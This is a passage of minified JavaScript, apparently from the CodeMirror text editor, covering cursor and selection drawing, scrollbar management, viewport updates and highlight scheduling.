Jn(e,t,n){var r=e.doc;if((n+=e.display.viewOffset)<0)return Qn(r.first,0,null,-1,-1);var i=gt(r,n),o=r.first+r.size-1;if(o<i)return Qn(r.first+r.size-1,A(r,o).text.length,null,1,1);t<0&&(t=0);for(var l=A(r,i);;){var s=function(n,e,t,r,i){i-=tn(e);var o=Pn(n,e),l=Xn(e),s=0,a=e.text.length,u=!0,c=Re(e,n.doc.direction);c&&(c=(n.options.lineWrapping?ir:rr)(n,e,t,o,c,r,i),u=1!=c.level,s=u?c.from:c.to-1,a=u?c.to:c.from-1);var h=null,d=null,c=Oe(function(e){var t=In(n,o,e);return t.top+=l,t.bottom+=l,nr(t,r,i,!1)&&(t.top<=i&&t.left<=r&&(h=e,d=t),1)},s,a),f=!1;{var p,g;d?(p=r-d.left<d.right-r,c=h+((g=p==u)?0:1),g=g?"after":"before",p=p?d.left:d.right):(u||c!=a&&c!=s||c++,g=0==c||c!=e.text.length&&In(n,o,c-(u?1:0)).bottom+l<=i==u?"after":"before",a=qn(n,W(t,c,g),"line",e,o),p=a.left,f=i<a.top?-1:i>=a.bottom?1:0)}return c=Ne(e.text,c,1),Qn(t,c,g,f,r-p)}(e,l,i,t,n),a=function(e,t){var n,r=It&&e.markedSpans;if(r)for(var i=0;i<r.length;++i){var o=r[i];o.marker.collapsed&&(null==o.from||o.from<t)&&(null==o.to||o.to>t)&&(!n||Xt(n,o.marker)<0)&&(n=o.marker)}return n}(l,s.ch+(0<s.xRel||0<s.outside?1:0));if(!a)return s;s=a.find(1);if(s.line==i)return s;l=A(r,i=s.line)}}function er(t,e,n,r){r-=Xn(e);var e=e.text.length,i=Oe(function(e){return In(t,n,e-1).bottom<=r},e,0);return{begin:i,end:Oe(function(e){return In(t,n,e).top>r},i,e)}}function tr(e,t,n,r){return er(e,t,n=n||Pn(e,t),Yn(e,t,In(e,n,r),"line").top)}function nr(e,t,n,r){return!(e.bottom<=n)&&(e.top>n||(r?e.left:e.right)>t)}function rr(n,r,i,o,l,s,a){var e,t=Oe(function(e){var e=l[e],t=1!=e.level;return nr(qn(n,W(i,t?e.to:e.from,t?"before":"after"),"line",r,o),s,a,!0)},0,l.length-1),u=l[t];return u=0<t&&(e=1!=u.level,nr(e=qn(n,W(i,e?u.from:u.to,e?"after":"before"),"line",r,o),s,a,!0))&&e.top>a?l[t-1]:u}function ir(e,t,n,r,i,o,l){for(var l=er(e,t,r,l),s=l.begin,a=l.end,u=(/\s/.test(t.text.charAt(a-1))&&a--,null),c=null,h=0;h<i.length;h++){var d,f=i[h];f.from>=a||f.to<=s||(d=(d=In(e,r,1!=f.level?Math.min(a,f.to)-1:Math.max(s,f.from)).right)<o?o-d+1e9:d-o,(!u||d<c)&&(u=f,c=d))}return u=(u=(u=u||i[i.length-1]).from<s?{from:s,to:u.to,level:u.level}:u).to>a?{from:u.from,to:a,level:u.level}:u}function or(e){if(null!=e.cachedTextHeight)return e.cachedTextHeight;if(null==zn){zn=M("pre",null,"CodeMirror-line-like");for(var t=0;t<49;++t)zn.appendChild(document.createTextNode("x")),zn.appendChild(M("br"));zn.appendChild(document.createTextNode("x"))}y(e.measure,zn);var n=zn.offsetHeight/50;return 3<n&&(e.cachedTextHeight=n),J(e.measure),n||1}function lr(e){var t,n;return null!=e.cachedCharWidth?e.cachedCharWidth:(n=M("span","xxxxxxxxxx"),t=M("pre",[n],"CodeMirror-line-like"),y(e.measure,t),2<(n=((t=n.getBoundingClientRect()).right-t.left)/10)&&(e.cachedCharWidth=n),n||10)}function sr(e){for(var t=e.display,n={},r={},i=t.gutters.clientLeft,o=t.gutters.firstChild,l=0;o;o=o.nextSibling,++l){var s=e.display.gutterSpecs[l].className;n[s]=o.offsetLeft+o.clientLeft+i,r[s]=o.clientWidth}return{fixedPos:ar(t),gutterTotalWidth:t.gutters.offsetWidth,gutterLeft:n,gutterWidth:r,wrapperWidth:t.wrapper.clientWidth}}function ar(e){return e.scroller.getBoundingClientRect().left-e.sizer.getBoundingClientRect().left}function ur(r){var i=or(r.display),o=r.options.lineWrapping,l=o&&Math.max(5,r.display.scroller.clientWidth/lr(r.display)-3);return function(e){if(en(r.doc,e))return 0;var t=0;if(e.widgets)for(var n=0;n<e.widgets.length;n++)e.widgets[n].height&&(t+=e.widgets[n].height);return o?t+(Math.ceil(e.text.length/l)||1)*i:t+i}}function cr(e){var t=e.doc,n=ur(e);t.iter(function(e){var t=n(e);t!=e.height&&pt(e,t)})}function hr(e,t,n,r){var i=e.display;if(!n&&"true"==_e(t).getAttribute("cm-not-content"))return null;var o,l,n=i.lineSpace.getBoundingClientRect();try{o=t.clientX-n.left,l=t.clientY-n.top}catch(e){return null}i=Jn(e,o,l);return r&&0<i.xRel&&(t=A(e.doc,i.line).text).length==i.ch&&(n=ue(t,t.length,e.options.tabSize)-t.length,i=W(i.line,Math.max(0,Math.round((o-On(e.display).left)/lr(e.display))-n))),i}function dr(e,t){if(t>=e.display.viewTo)return null;if((t-=e.display.viewFrom)<0)return null;for(var n=e.display.view,r=0;r<n.length;r++)if((t-=n[r].size)<0)return r}function E(e,t,n,r){null==t&&(t=e.doc.first),null==n&&(n=e.doc.first+e.doc.size);var i,o=e.display,l=((r=r||0)&&n<o.viewTo&&(null==o.updateLineNumbers||o.updateLineNumbers>t)&&(o.updateLineNumbers=t),e.curOp.viewChanged=!0,t>=o.viewTo?It&&Qt(e.doc,t)<o.viewTo&&pr(e):n<=o.viewFrom?It&&Jt(e.doc,n+r)>o.viewFrom?pr(e):(o.viewFrom+=r,o.viewTo+=r):t<=o.viewFrom&&n>=o.viewTo?pr(e):t<=o.viewFrom?(l=gr(e,n,n+r,1))?(o.view=o.view.slice(l.index),o.viewFrom=l.lineN,o.viewTo+=r):pr(e):n>=o.viewTo?(l=gr(e,t,t,-1))?(o.view=o.view.slice(0,l.index),o.viewTo=l.lineN):pr(e):(l=gr(e,t,t,-1),i=gr(e,n,n+r,1),l&&i?(o.view=o.view.slice(0,l.index).concat(pn(e,l.lineN,i.lineN)).concat(o.view.slice(i.index)),o.viewTo+=r):pr(e)),o.externalMeasured);l&&(n<l.lineN?l.lineN+=r:t<l.lineN+l.size&&(o.externalMeasured=null))}function fr(e,t,n){e.curOp.viewChanged=!0;var r=e.display,i=e.display.externalMeasured;i&&t>=i.lineN&&t<i.lineN+i.size&&(r.externalMeasured=null),t<r.viewFrom||t>=r.viewTo||null!=(i=r.view[dr(e,t)]).node&&-1==S(r=i.changes||(i.changes=[]),n)&&r.push(n)}function pr(e){e.display.viewFrom=e.display.viewTo=e.doc.first,e.display.view=[],e.display.viewOffset=0}function gr(e,t,n,r){var i,o=dr(e,t),l=e.display.view;if(It&&n!=e.doc.first+e.doc.size){for(var s=e.display.viewFrom,a=0;a<o;a++)s+=l[a].size;if(s!=t){if(0<r){if(o==l.length-1)return null;i=s+l[o].size-t,o++}else i=s-t;t+=i,n+=i}for(;Qt(e.doc,n)!=n;){if(o==(r<0?0:l.length-1))return null;n+=r*l[o-(r<0?1:0)].size,o+=r}}return{index:o,lineN:n}}function mr(e){for(var t=e.display.view,n=0,r=0;r<t.length;r++){var i=t[r];i.hidden||i.node&&!i.changes||++n}return n}function vr(e){e.display.input.showSelection(e.display.input.prepareSelection())}function yr(e,t){void 0===t&&(t=!0);for(var n,r,i=e.doc,o={},l=o.cursors=document.createDocumentFragment(),s=o.selection=document.createDocumentFragment(),a=0;a<i.sel.ranges.length;a++)!t&&a==i.sel.primIndex||(n=i.sel.ranges[a]).from().line>=e.display.viewTo||n.to().line<e.display.viewFrom||(((r=n.empty())||e.options.showCursorWhenSelecting)&&br(e,n.head,l),r)||function(i,e,t){var n=i.display,o=i.doc,l=document.createDocumentFragment(),r=On(i.display),S=r.left,L=Math.max(n.sizerWidth,Dn(i)-n.sizer.offsetLeft)-r.right,k="ltr"==o.direction;function T(e,t,n,r){t<0&&(t=0),t=Math.round(t),r=Math.round(r),l.appendChild(M("div",null,"CodeMirror-selected","position: absolute; left: "+e+"px;\n                             top: "+t+"px; width: "+(null==n?L-e:n)+"px;\n                             height: "+(r-t)+"px"))}function s(n,g,m){var v,y,r=A(o,n),b=r.text.length;function w(e,t){return $n(i,W(n,e),"div",r,t)}function x(e,t,n){e=tr(i,r,null,e),t="ltr"==t==("after"==n)?"left":"right";return w("after"==n?e.begin:e.end-(/\s/.test(r.text.charAt(e.end-1))?2:1),t)[t]}var C=Re(r,o.direction);return function(e,t,n,r){if(!e)return r(t,n,"ltr",0);for(var i=!1,o=0;o<e.length;++o){var l=e[o];(l.from<n&&l.to>t||t==n&&l.to==t)&&(r(Math.max(l.from,t),Math.min(l.to,n),1==l.level?"rtl":"ltr",o),i=!0)}i||r(t,n,"ltr")}(C,g||0,null==m?b:m,function(e,t,n,r){var i,o,l,s,a,u="ltr"==n,c=w(e,u?"left":"right"),h=w(t-1,u?"right":"left"),d=null==g&&0==e,f=null==m&&t==b,p=0==r,r=!C||r==C.length-1;h.top-c.top<=3?(i=(k?d:f)&&p?S:(u?c:h).left,a=(k?f:d)&&r?L:(u?h:c).right,T(i,c.top,a-i,c.bottom)):(a=u?(o=k&&d&&p?S:c.left,l=k?L:x(e,n,"before"),s=k?S:x(t,n,"after"),k&&f&&r?L:h.right):(o=k?x(e,n,"before"):S,l=!k&&d&&p?L:c.right,s=!k&&f&&r?S:h.left,k?x(t,n,"after"):L),T(o,c.top,l-o,c.bottom),c.bottom<h.top&&T(S,c.bottom,null,h.top),T(s,h.top,a-s,h.bottom)),(!v||wr(c,v)<0)&&(v=c),wr(h,v)<0&&(v=h),(!y||wr(c,y)<0)&&(y=c),wr(h,y)<0&&(y=h)}),{start:v,end:y}}n=e.from(),r=e.to();{var a;n.line==r.line?s(n.line,n.ch,r.ch):(e=A(o,n.line),a=A(o,r.line),a=Zt(e)==Zt(a),n=s(n.line,n.ch,a?e.text.length+1:null).end,e=s(r.line,a?0:null,r.ch).start,a&&(n.top<e.top-2?(T(n.right,n.top,null,n.bottom),T(S,e.top,e.left,e.bottom)):T(n.right,n.top,e.left-n.right,n.bottom)),n.bottom<e.top&&T(S,n.bottom,null,e.top))}t.appendChild(l)}(e,n,s);return o}function br(e,t,n){var t=qn(e,t,"div",null,null,!e.options.singleCursorHeightPerLine),r=n.appendChild(M("div"," ","CodeMirror-cursor"));r.style.left=t.left+"px",r.style.top=t.top+"px",r.style.height=Math.max(0,t.bottom-t.top)*e.options.cursorHeight+"px",t.other&&((r=n.appendChild(M("div"," ","CodeMirror-cursor CodeMirror-secondarycursor"))).style.display="",r.style.left=t.other.left+"px",r.style.top=t.other.top+"px",r.style.height=.85*(t.other.bottom-t.other.top)+"px")}function wr(e,t){return e.top-t.top||e.left-t.left}function xr(e){var t,n;e.state.focused&&(t=e.display,clearInterval(t.blinker),n=!0,t.cursorDiv.style.visibility="",0<e.options.cursorBlinkRate?t.blinker=setInterval(function(){e.hasFocus()||kr(e),t.cursorDiv.style.visibility=(n=!n)?"":"hidden"},e.options.cursorBlinkRate):e.options.cursorBlinkRate<0&&(t.cursorDiv.style.visibility="hidden"))}function Cr(e){e.hasFocus()||(e.display.input.focus(),e.state.focused)||Lr(e)}function Sr(e){e.state.delayingBlurEvent=!0,setTimeout(function(){e.state.delayingBlurEvent&&(e.state.delayingBlurEvent=!1,e.state.focused)&&kr(e)},100)}function Lr(e,t){e.state.delayingBlurEvent&&!e.state.draggingText&&(e.state.delayingBlurEvent=!1),"nocursor"!=e.options.readOnly&&(e.state.focused||(N(e,"focus",e,t),e.state.focused=!0,re(e.display.wrapper,"CodeMirror-focused"),e.curOp||e.display.selForContextMenu==e.doc.sel||(e.display.input.reset(),x&&setTimeout(function(){return e.display.input.reset(!0)},20)),e.display.input.receivedFocus()),xr(e))}function kr(e,t){e.state.delayingBlurEvent||(e.state.focused&&(N(e,"blur",e,t),e.state.focused=!1,Q(e.display.wrapper,"CodeMirror-focused")),clearInterval(e.display.blinker),setTimeout(function(){e.state.focused||(e.display.shift=!1)},150))}function Tr(e){for(var t=e.display,n=t.lineDiv.offsetTop,r=0;r<t.view.length;r++){var i=t.view[r],o=e.options.lineWrapping,l=void 0,s=0;if(!i.hidden){w&&v<8?(l=(a=i.node.offsetTop+i.node.offsetHeight)-n,n=a):(l=(a=i.node.getBoundingClientRect()).bottom-a.top,!o&&i.text.firstChild&&(s=i.text.firstChild.getBoundingClientRect().right-a.left-1));var a,o=i.line.height-l;if((.005<o||o<-.005)&&(pt(i.line,l),Mr(i.line),i.rest))for(var u=0;u<i.rest.length;u++)Mr(i.rest[u]);s>e.display.sizerWidth&&(o=Math.ceil(s/lr(e.display)))>e.display.maxLineLength&&(e.display.maxLineLength=o,e.display.maxLine=i.line,e.display.maxLineChanged=!0)}}}function Mr(e){if(e.widgets)for(var t=0;t<e.widgets.length;++t){var n=e.widgets[t],r=n.node.parentNode;r&&(n.height=r.offsetHeight)}}function Nr(e,t,n){var r,i=n&&null!=n.top?Math.max(0,n.top):e.scroller.scrollTop,i=Math.floor(i-Mn(e)),o=n&&null!=n.bottom?n.bottom:i+e.wrapper.clientHeight,i=gt(t,i),o=gt(t,o);return n&&n.ensure&&(r=n.ensure.from.line,n=n.ensure.to.line,r<i?o=gt(t,tn(A(t,i=r))+e.wrapper.clientHeight):Math.min(n,t.lastLine())>=o&&(i=gt(t,tn(A(t,n))-e.wrapper.clientHeight),o=n)),{from:i,to:Math.max(o,i+1)}}function Or(e,t){var n=e.display,r=or(e.display),i=(t.top<0&&(t.top=0),(e.curOp&&null!=e.curOp.scrollTop?e.curOp:n.scroller).scrollTop),o=Wn(e),l={},s=(t.bottom-t.top>o&&(t.bottom=t.top+o),e.doc.height+Nn(n)),a=t.top<r,r=t.bottom>s-r,r=(t.top<i?l.scrollTop=a?0:t.top:t.bottom>i+o&&(a=Math.min(t.top,(r?s:t.bottom)-o))!=i&&(l.scrollTop=a),e.options.fixedGutter?0:n.gutters.offsetWidth),s=e.curOp&&null!=e.curOp.scrollLeft?e.curOp.scrollLeft:n.scroller.scrollLeft-r,o=Dn(e)-n.gutters.offsetWidth,i=t.right-t.left>o;return i&&(t.right=t.left+o),t.left<10?l.scrollLeft=0:t.left<s?l.scrollLeft=Math.max(0,t.left+r-(i?0:10)):t.right>o+s-3&&(l.scrollLeft=t.right+(i?0:10)-o),l}function Ar(e,t){null!=t&&(Hr(e),e.curOp.scrollTop=(null==e.curOp.scrollTop?e.doc:e.curOp).scrollTop+t)}function Dr(e){Hr(e);var t=e.getCursor();e.curOp.scrollToPos={from:t,to:t,margin:e.options.cursorScrollMargin}}function Wr(e,t,n){null==t&&null==n||Hr(e),null!=t&&(e.curOp.scrollLeft=t),null!=n&&(e.curOp.scrollTop=n)}function Hr(e){var t=e.curOp.scrollToPos;t&&(e.curOp.scrollToPos=null,Fr(e,Zn(e,t.from),Zn(e,t.to),t.margin))}function Fr(e,t,n,r){t=Or(e,{left:Math.min(t.left,n.left),top:Math.min(t.top,n.top)-r,right:Math.max(t.right,n.right),bottom:Math.max(t.bottom,n.bottom)+r});Wr(e,t.scrollLeft,t.scrollTop)}function Er(e,t){Math.abs(e.doc.scrollTop-t)<2||(G||Jr(e,{top:t}),Pr(e,t,!0),G&&Jr(e),_r(e,100))}function Pr(e,t,n){t=Math.max(0,Math.min(e.display.scroller.scrollHeight-e.display.scroller.clientHeight,t)),e.display.scroller.scrollTop==t&&!n||(e.doc.scrollTop=t,e.display.scrollbars.setScrollTop(t),e.display.scroller.scrollTop==t)||(e.display.scroller.scrollTop=t)}function Ir(e,t,n,r){t=Math.max(0,Math.min(t,e.display.scroller.scrollWidth-e.display.scroller.clientWidth)),(n?t==e.doc.scrollLeft:Math.abs(e.doc.scrollLeft-t)<2)&&!r||(e.doc.scrollLeft=t,ni(e),e.display.scroller.scrollLeft!=t&&(e.display.scroller.scrollLeft=t),e.display.scrollbars.setScrollLeft(t))}function zr(e){var t=e.display,n=t.gutters.offsetWidth,r=Math.round(e.doc.height+Nn(e.display));return{clientHeight:t.scroller.clientHeight,viewHeight:t.wrapper.clientHeight,scrollWidth:t.scroller.scrollWidth,clientWidth:t.scroller.clientWidth,viewWidth:t.wrapper.clientWidth,barLeft:e.options.fixedGutter?n:0,docHeight:r,scrollHeight:r+An(e)+t.barHeight,nativeBarWidth:t.nativeBarWidth,gutterWidth:n}}function Rr(e,t,n){this.cm=n;var r=this.vert=M("div",[M("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar"),i=this.horiz=M("div",[M("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar");r.tabIndex=i.tabIndex=-1,e(r),e(i),L(r,"scroll",function(){r.clientHeight&&t(r.scrollTop,"vertical")}),L(i,"scroll",function(){i.clientWidth&&t(i.scrollLeft,"horizontal")}),this.checkedZeroWidth=!1,w&&v<8&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")}function Br(){}Rr.prototype.update=function(e){var t,n=e.scrollWidth>e.clientWidth+1,r=e.scrollHeight>e.clientHeight+1,i=e.nativeBarWidth;return r?(this.vert.style.display="block",this.vert.style.bottom=n?i+"px":"0",t=e.viewHeight-(n?i:0),this.vert.firstChild.style.height=Math.max(0,e.scrollHeight-e.clientHeight+t)+"px"):(this.vert.style.display="",this.vert.firstChild.style.height="0"),n?(this.horiz.style.display="block",this.horiz.style.right=r?i+"px":"0",this.horiz.style.left=e.barLeft+"px",t=e.viewWidth-e.barLeft-(r?i:0),this.horiz.firstChild.style.width=Math.max(0,e.scrollWidth-e.clientWidth+t)+"px"):(this.horiz.style.display="",this.horiz.firstChild.style.width="0"),!this.checkedZeroWidth&&0<e.clientHeight&&(0==i&&this.zeroWidthHack(),this.checkedZeroWidth=!0),{right:r?i:0,bottom:n?i:0}},Rr.prototype.setScrollLeft=function(e){this.horiz.scrollLeft!=e&&(this.horiz.scrollLeft=e),this.disableHoriz&&this.enableZeroWidthBar(this.horiz,this.disableHoriz,"horiz")},Rr.prototype.setScrollTop=function(e){this.vert.scrollTop!=e&&(this.vert.scrollTop=e),this.disableVert&&this.enableZeroWidthBar(this.vert,this.disableVert,"vert")},Rr.prototype.zeroWidthHack=function(){this.horiz.style.height=this.vert.style.width=C&&!d?"12px":"18px",this.horiz.style.pointerEvents=this.vert.style.pointerEvents="none",this.disableHoriz=new ce,this.disableVert=new ce},Rr.prototype.enableZeroWidthBar=function(n,r,i){n.style.pointerEvents="auto",r.set(1e3,function e(){var t=n.getBoundingClientRect();("vert"==i?document.elementFromPoint(t.right-1,(t.top+t.bottom)/2):document.elementFromPoint((t.right+t.left)/2,t.bottom-1))!=n?n.style.pointerEvents="none":r.set(1e3,e)})},Rr.prototype.clear=function(){var e=this.horiz.parentNode;e.removeChild(this.horiz),e.removeChild(this.vert)};function Gr(e,t){t=t||zr(e);var n=e.display.barWidth,r=e.display.barHeight;Ur(e,t);for(var i=0;i<4&&n!=e.display.barWidth||r!=e.display.barHeight;i++)n!=e.display.barWidth&&e.options.lineWrapping&&Tr(e),Ur(e,zr(e)),n=e.display.barWidth,r=e.display.barHeight}function Ur(e,t){var n=e.display,r=n.scrollbars.update(t);n.sizer.style.paddingRight=(n.barWidth=r.right)+"px",n.sizer.style.paddingBottom=(n.barHeight=r.bottom)+"px",n.heightForcer.style.borderBottom=r.bottom+"px solid transparent",r.right&&r.bottom?(n.scrollbarFiller.style.display="block",n.scrollbarFiller.style.height=r.bottom+"px",n.scrollbarFiller.style.width=r.right+"px"):n.scrollbarFiller.style.display="",r.bottom&&e.options.coverGutterNextToScrollbar&&e.options.fixedGutter?(n.gutterFiller.style.display="block",n.gutterFiller.style.height=r.bottom+"px",n.gutterFiller.style.width=t.gutterWidth+"px"):n.gutterFiller.style.display=""}Br.prototype.update=function(){return{bottom:0,right:0}},Br.prototype.setScrollLeft=function(){},Br.prototype.setScrollTop=function(){},Br.prototype.clear=function(){};var Vr={native:Rr,null:Br};function Kr(n){n.display.scrollbars&&(n.display.scrollbars.clear(),n.display.scrollbars.addClass)&&Q(n.display.wrapper,n.display.scrollbars.addClass),n.display.scrollbars=new Vr[n.options.scrollbarStyle](function(e){n.display.wrapper.insertBefore(e,n.display.scrollbarFiller),L(e,"mousedown",function(){n.state.focused&&setTimeout(function(){return n.display.input.focus()},0)}),e.setAttribute("cm-not-content","true")},function(e,t){("horizontal"==t?Ir:Er)(n,e)},n),n.display.scrollbars.addClass&&re(n.display.wrapper,n.display.scrollbars.addClass)}var jr=0;function Xr(e){e.curOp={cm:e,viewChanged:!1,startHeight:e.doc.height,forceUpdate:!1,updateInput:0,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++jr},e=e.curOp,gn?gn.ops.push(e):e.ownsGroup=gn={ops:[e],delayedCallbacks:[]}}function Yr(e){e=e.curOp;if(e){var t=function(e){for(var t=0;t<e.ops.length;t++)e.ops[t].cm.curOp=null;for(var n=e.ops,r=0;r<n.length;r++){l=o=i=void 0;var i=n[r],o=i.cm,l=o.display;(function(e){var t=e.display;!t.scrollbarsClipped&&t.scroller.offsetWidth&&(t.nativeBarWidth=t.scroller.offsetWidth-t.scroller.clientWidth,t.heightForcer.style.height=An(e)+"px",t.sizer.style.marginBottom=-t.nativeBarWidth+"px",t.sizer.style.borderRightWidth=An(e)+"px",t.scrollbarsClipped=!0)})(o),i.updateMaxLine&&rn(o),i.mustUpdate=i.viewChanged||i.forceUpdate||null!=i.scrollTop||i.scrollToPos&&(i.scrollToPos.from.line<l.viewFrom||i.scrollToPos.to.line>=l.viewTo)||l.maxLineChanged&&o.options.lineWrapping,i.update=i.mustUpdate&&new qr(o,i.mustUpdate&&{top:i.scrollTop,ensure:i.scrollToPos},i.forceUpdate)}for(var s=0;s<n.length;s++){a=void 0;var a=n[s];a.updatedDisplay=a.mustUpdate&&Zr(a.cm,a.update)}for(var u=0;u<n.length;u++){c=void 0;h=void 0;d=void 0;var c=n[u];var h=c.cm,d=h.display;c.updatedDisplay&&Tr(h);c.barMeasure=zr(h),d.maxLineChanged&&!h.options.lineWrapping&&(c.adjustWidthTo=Fn(h,d.maxLine,d.maxLine.text.length).left+3,h.display.sizerWidth=c.adjustWidthTo,c.barMeasure.scrollWidth=Math.max(d.scroller.clientWidth,d.sizer.offsetLeft+c.adjustWidthTo+An(h)+h.display.barWidth),c.maxScrollLeft=Math.max(0,d.sizer.offsetLeft+c.adjustWidthTo-Dn(h)));(c.updatedDisplay||c.selectionChanged)&&(c.preparedSelection=d.input.prepareSelection())}for(var f=0;f<n.length;f++){p=void 0;g=void 0;m=void 0;var p=n[f];var g=p.cm;null!=p.adjustWidthTo&&(g.display.sizer.style.minWidth=p.adjustWidthTo+"px",p.maxScrollLeft<g.doc.scrollLeft&&Ir(g,Math.min(g.display.scroller.scrollLeft,p.maxScrollLeft),!0),g.display.maxLineChanged=!1);var m=p.focus&&p.focus==ne();p.preparedSelection&&g.display.input.showSelection(p.preparedSelection,m);!p.updatedDisplay&&p.startHeight==g.doc.height||Gr(g,p.barMeasure);p.updatedDisplay&&ti(g,p.barMeasure);p.selectionChanged&&xr(g);g.state.focused&&p.updateInput&&g.display.input.reset(p.typing);m&&Cr(p.cm)}for(var v,y=0;y<n.length;y++){b=void 0;w=void 0;x=void 0;C=void 0;v=void 0;S=void 0;L=void 0;k=void 0;T=void 0;var b=n[y];var w=b.cm,x=w.display,C=w.doc;b.updatedDisplay&&Qr(w,b.update);null==x.wheelStartX||null==b.scrollTop&&null==b.scrollLeft&&!b.scrollToPos||(x.wheelStartX=x.wheelStartY=null);null!=b.scrollTop&&Pr(w,b.scrollTop,b.forceScroll);null!=b.scrollLeft&&Ir(w,b.scrollLeft,!0,!0);b.scrollToPos&&(v=function(e,t,n,r){null==r&&(r=0),e.options.lineWrapping||t!=n||(n="before"==(t=t.ch?W(t.line,"before"==t.sticky?t.ch-1:t.ch,"after"):t).sticky?W(t.line,t.ch+1,"before"):t);for(var i=0;i<5;i++){var o,l=!1,s=qn(e,t),a=n&&n!=t?qn(e,n):s,s=Or(e,o={left:Math.min(s.left,a.left),top:Math.min(s.top,a.top)-r,right:Math.max(s.left,a.left),bottom:Math.max(s.bottom,a.bottom)+r}),a=e.doc.scrollTop,u=e.doc.scrollLeft;if(null!=s.scrollTop&&(Er(e,s.scrollTop),1<Math.abs(e.doc.scrollTop-a))&&(l=!0),!(l=null!=s.scrollLeft&&(Ir(e,s.scrollLeft),1<Math.abs(e.doc.scrollLeft-u))?!0:l))break}return o}(w,F(C,b.scrollToPos.from),F(C,b.scrollToPos.to),b.scrollToPos.margin),function(e,t){var n,r,i;O(e,"scrollCursorIntoView")||(i=(n=e.display).sizer.getBoundingClientRect(),r=null,t.top+i.top<0?r=!0:t.bottom+i.top>(window.innerHeight||document.documentElement.clientHeight)&&(r=!1),null==r)||K||(i=M("div","​",null,"position: absolute;\n                         top: "+(t.top-n.viewOffset-Mn(e.display))+"px;\n                         height: "+(t.bottom-t.top+An(e)+n.barHeight)+"px;\n                         left: "+t.left+"px; width: "+Math.max(2,t.right-t.left)+"px;"),e.display.lineSpace.appendChild(i),i.scrollIntoView(r),e.display.lineSpace.removeChild(i))}(w,v));var S=b.maybeHiddenMarkers,L=b.maybeUnhiddenMarkers;if(S)for(var k=0;k<S.length;++k)S[k].lines.length||N(S[k],"hide");if(L)for(var T=0;T<L.length;++T)L[T].lines.length&&N(L[T],"unhide");x.wrapper.offsetHeight&&(C.scrollTop=w.display.scroller.scrollTop);b.changeObjs&&N(w,"changes",w,b.changeObjs);b.update&&b.update.finish()}};if(e=e.ownsGroup)try{var n=e,r=n.delayedCallbacks,i=0;do{for(;i<r.length;i++)r[i].call(null);for(var o=0;o<n.ops.length;o++){var l=n.ops[o];if(l.cursorActivityHandlers)for(;l.cursorActivityCalled<l.cursorActivityHandlers.length;)l.cursorActivityHandlers[l.cursorActivityCalled++].call(null,l.cm)}}while(i<r.length)}finally{gn=null,t(e)}}}function h(e,t){if(e.curOp)return t();Xr(e);try{return t()}finally{Yr(e)}}function P(e,t){return function(){if(e.curOp)return t.apply(e,arguments);Xr(e);try{return t.apply(e,arguments)}finally{Yr(e)}}}function n(e){return function(){if(this.curOp)return e.apply(this,arguments);Xr(this);try{return e.apply(this,arguments)}finally{Yr(this)}}}function r(t){return function(){var e=this.cm;if(!e||e.curOp)return t.apply(this,arguments);Xr(e);try{return t.apply(this,arguments)}finally{Yr(e)}}}function _r(e,t){e.doc.highlightFrontier<e.display.viewTo&&e.state.highlight.set(t,se($r,e))}function $r(l){var s,a,u,c=l.doc;c.highlightFrontier>=l.display.viewTo||(s=+new Date+l.options.workTime,a=Nt(l,c.highlightFrontier),u=[],c.iter(a.line,Math.min(c.first+c.size,l.display.viewTo+500),function(e){if(a.line>=l.display.viewFrom){for(var t=e.styles,n=e.text.length>l.options.maxHighlightLength?ut(c.mode,a.state):null,r=Tt(l,e,a,!0),n=(n&&(a.state=n),e.styles=r.styles,e.styleClasses),r=r.classes,i=(r?e.styleClasses=r:n&&(e.styleClasses=null),!t||t.length!=e.styles.length||n!=r&&(!n||!r||n.bgClass!=r.bgClass||n.textClass!=r.textClass)),o=0;!i&&o<t.length;++o)i=t[o]!=e.styles[o];i&&u.push(a.line),e.stateAfter=a.save()}else e.text.length<=l.options.maxHighlightLength&&Ot(l,e.text,a),e.stateAfter=a.line%5==0?a.save():null;if(a.nextLine(),+new Date>s)return _r(l,l.options.workDelay),!0}),c.highlightFrontier=a.line,c.modeFrontier=Math.max(c.modeFrontier,a.line),u.length&&h(l,function(){for(var e=0;e<u.length;e++)fr(l,u[e],"text")}))}var qr=function(e,t,n){var r=e.display;this.viewport=t,this.visible=Nr(r,e.doc,t),this.editorIsHidden=!r.wrapper.offsetWidth,this.wrapperHeight=r.wrapper.clientHeight,this.wrapperWidth=r.wrapper.clientWidth,this.oldDisplayWidth=Dn(e),this.force=n,this.dims=sr(e),this.events=[]};function Zr(e,t){var n=e.display,r=e.doc;if(t.editorIsHidden)return pr(e),!1;if(!t.force&&t.visible.from>=n.viewFrom&&t.visible.to<=n.viewTo&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo)&&n.renderedView==n.view&&0==mr(e))return!1;ri(e)&&(pr(e),t.dims=sr(e));var i=r.first+r.size,o=Math.max(t.visible.from-e.options.viewportMargin,r.first),l=Math.min(i,t.visible.to+e.options.viewportMargin),r=(n.viewFrom<o&&o-n.viewFrom<20&&(o=Math.max(r.first,n.viewFrom)),n.viewTo>l&&n.viewTo-l<20&&(l=Math.min(i,n.viewTo)),It&&(o=Qt(e.doc,o),l=Jt(e.doc,l)),o!=n.viewFrom||l!=n.viewTo||n.lastWrapHeight!=t.wrapperHeight||n.lastWrapWidth!=t.wrapperWidth),i=(i=o,o=l,0==(s=(l=e).display).view.length||i>=s.viewTo||o<=s.viewFrom?(s.view=pn(l,i,o),s.viewFrom=i):(s.viewFrom>i?s.view=pn(l,i,s.viewFrom).concat(s.view):s.viewFrom<i&&(s.view=s.view.slice(dr(l,i))),s.viewFrom=i,s.viewTo<o?s.view=s.view.concat(pn(l,s.viewTo,o)):s.viewTo>o&&(s.view=s.view.slice(0,dr(l,o)))),s.viewTo=o,n.viewOffset=tn(A(e.doc,n.viewFrom)),e.display.mover.style.top=n.viewOffset+"px",mr(e));if(!r&&0==i&&!t.force&&n.renderedView==n.view&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo))return!1;var 